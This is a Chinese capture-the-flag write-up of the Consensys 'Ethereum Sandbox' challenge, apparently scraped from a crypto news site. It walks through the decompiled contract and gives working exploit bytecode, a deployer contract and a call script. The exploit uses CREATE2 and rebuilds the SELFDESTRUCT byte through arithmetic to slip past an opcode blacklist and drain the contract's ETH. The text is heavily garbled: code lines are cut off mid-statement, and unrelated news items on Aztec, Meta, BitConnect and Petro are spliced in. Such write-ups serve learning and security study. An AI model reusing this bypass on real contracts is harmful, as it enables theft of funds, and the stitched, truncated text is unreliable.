Consensys CTF - " 以太坊沙盒 "_UIN:Interstellar AI

基于samczsun的解析文章学习

分析原文:

本文都是基于https://samczsun

elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}

再看到其的全局变量,一共有两个,分别在slot0和slot1的位置处。可以看到这两个全局变量都是uint256数组。

uint256array_0;//STORAGEuint256_owners;//STORAGE

依次分析函数,找到我们感兴趣的部分,然后再深入调查该函数,看是否能够达到我们的目标——拿到该合约的所有ETH。

Aztec Network宣布将逐步关停DeFi隐私桥项目Aztec Connect,未来将重点开发基于Noir语言的新产品:3月13日消息,基于ZKRollup的隐私和扩容解决方案AztecNetwork宣布将逐步关停DeFi隐私桥项目AztecConnect,将于一周后禁用从zk.money和其他前端(如zkpay.finance)将资金存入AztecConnect合约,但用户能够在一年内免费取款,Aztec团队预计将于1年后彻底放弃AztecConnect合约,所有Rollup功能将停止。

Aztec团队同时表示,现已完全开源整个AztecConnect协议,包括扩展升级和新的安全SDK。鼓励Aztec社区分叉、部署和运行新版本,愿意看到独立运营的AztecConnect并准备为其提供资金。而Aztec团队的中长期重点将集中在Noir语言和下一代加密区块链的开发上,这两个产品将相互兼容、相互关联。[2023/3/13 13:00:26]

首先是函数1:0x4214352d

1confirmation创始人:如果没有以太坊 比特币就不会有现在的市值:金色财经报道,加密货币风险投资公司1confirmation创始人Nick Tomaino表示,如果没有以太坊,比特币就不会有现在的市值,因为所有像DeFi和NFT这样的创新,所有把新人带到这个领域的创新,都是以太坊。[2021/6/4 23:09:50]

function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg

//翻译一下functionset_array(uint256_value,uint256_key)public{require(msg

可以看到该函数主要是对array_0进行赋值,在赋值前检查了两项:

msg

=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg

扎克伯格:Meta将建设一个新的人工智能数据中心:金色财经报道,扎克伯格表示,Meta将建设一个新的人工智能数据中心,该数据中心将配备支持液冷硬件的设备,以处理大规模的训练和推理;Meta设计了“Meta训练和推理加速器”首代定制芯片,为AI推荐系统提供动力;Meta开发了名为“CODECOMPOSE”的生成式AI编码助手,帮助工程师在编写代码时提高效率。(财联社)[2023/5/19 15:12:16]

与set_array函数类似

再看函数3:owners

functionowners(uint256varg0)publicnonPayable{require(msg

=>functionowners(uint256_key)publicviewreturns(address){require(msg

最后看函数4:0x2918435f

BitConnect发起人被指控涉嫌参与加密局 面临监禁和罚款等多项处罚:11月17日消息,澳大利亚证券投资委员会(ASIC)宣布,前BitConnect发起人John Louis Anthony Bigatton因参与被指控投资者数百万美元的加密货币项目而被起诉。ASIC指控Bigatton在澳大利亚运营一个未经注册的托管投资计划,即BitConnect借贷平台,并且他在澳大利亚各地举办的研讨会上代表他人提供未经许可的金融咨询。该委员会还指控称,在Bigatton举办的四次研讨会上,他发表了虚假或误导性的声明,可能会诱使投资者申请或收购BitConnect借贷平台的权益。ASIC提出的控罪包括一项经营未经注册的管理投资计划的罪名,最高可处五年监禁及/或罚款42000澳元;一项代他人提供无牌金融服务罪名,最高刑罚为监禁两年及/或罚款42000澳元;以及四项影响市场参与的虚假或误导性声明指控。最后四项控罪的最高刑罚为监禁10年及/或罚款94.5万澳元。(zdnet)[2020/11/17 21:03:13]

function0x2918435f(addressvarg0)publicpayable{require(msg

动态 | 委内瑞拉国营航空公司Conviasa将开始接受加密货币Petro付款:8月19日,委内瑞拉加密货币监管机构Sunacrip负责人Joselit Ramirez宣布,国营航空公司Conviasa将开始接受该国石油支持的加密货币Petro付款。根据Ramirez的说法,客户应该能够使用Petro应用程序在几分钟内处理机票付款。Petro一直受到各种应用程序错误启动的困扰,一些评论员称之为局。它还受到国际制裁,根据美国总统唐纳德·特朗普的命令,美国公民禁止购买。(Cointelegraph)[2019/8/25]

v2=1;}require(v0);MEM=MEM(varg0

assert(v5<varg0

v7,v8=varg0

require(v7);}

可以看到函数40x2918435f比较复杂,简单分析函数4中有三层require:

要求调用该函数的msg

v2=1;}require(v0);=>翻译一下:boolpermit=false;uint256i=0;while(i<_owners

i=1;}require(permit);

3.要求作为传入参数的地址addr,逐字节检查该参数地址对应的代码,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节。在黄皮书中这几个字节对应的分别是:create,call,callcode,delegatecall,staticcall,selfdestruct.这部分对应的代码比较复杂,我们将对比opcode,逐字翻译```MEM=MEM(varg0

assert(v5<varg0

}

问题分析-2

现在我们需要满足第三个条件,即构造一个合约,该合约对应的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节,因此需要我们手动来写合约,然后通过该sandbox的第四个函数来delegatecall该合约,从而清空sandbox中的ETH。

首先明确我们使用create2,其为0xf5,我们可以首先看下黄皮书中关于create2的定义

简单来说是先计算出要创建的合约的地址,然后执行要创建的合约的初始化代码,再将该初始化代码与要创建的合约地址进行关联。

故我们需要一个合约,他的runtimecode中执行一个create2函数,创建一个临时合约,并将上下文环境中的address(this)里的全部ETH都作为赠品赠与该临时合约,该临时合约的初始化代码中应该执行selfdestruct(tx.orgin)函数来将所有的ETH转移给合约部署人。

先用opcode来写runtimecode:

//tx.origin这里的ORIGIN是payload,不应该被执行,故需要改为push10x32//SELFDESTRUCT//构造payload,因为SELFDESTRUCT是0xff,不能被使用,故可以通过ADD来绕道实现push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//构造payload0x40->0x32ff,push100//Us->salt盐push10x04//Us->length长度4push10x3e//us->offset偏移值->内存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH数量->应该是该address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5

在写该合约的初始化代码,可以用solidity写了,因为是我自己执行来部署该runtimecode

contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}

然后部署HackCTF合约,在调用ctf中的第四个函数,将该合约的地址作为参数传进去即可

hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())

免责声明:作为区块链信息平台,本站所发布文章仅代表作者个人观点,与链闻ChainNews立场无关。文章内的信息、意见等均仅供参考,并非作为或被视为实际投资建议。

本文来源于非小号媒体平台:

登链社区

现已在非小号资讯平台发布105篇作品,

非小号开放平台欢迎币圈作者入驻

入驻指南:

/apply_guide/

本文网址:

/news/10087897.html

免责声明:

1.资讯内容不构成投资建议,投资者应独立决策并自行承担风险

2.本文版权归属原作所有,仅代表作者本人观点,不代表非小号的观点或立场

上一篇:

SendingLabs完成1250万美元种子轮融资,以构建「Web3通信堆栈」

郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。

金智博客

[0:0ms0-4:382ms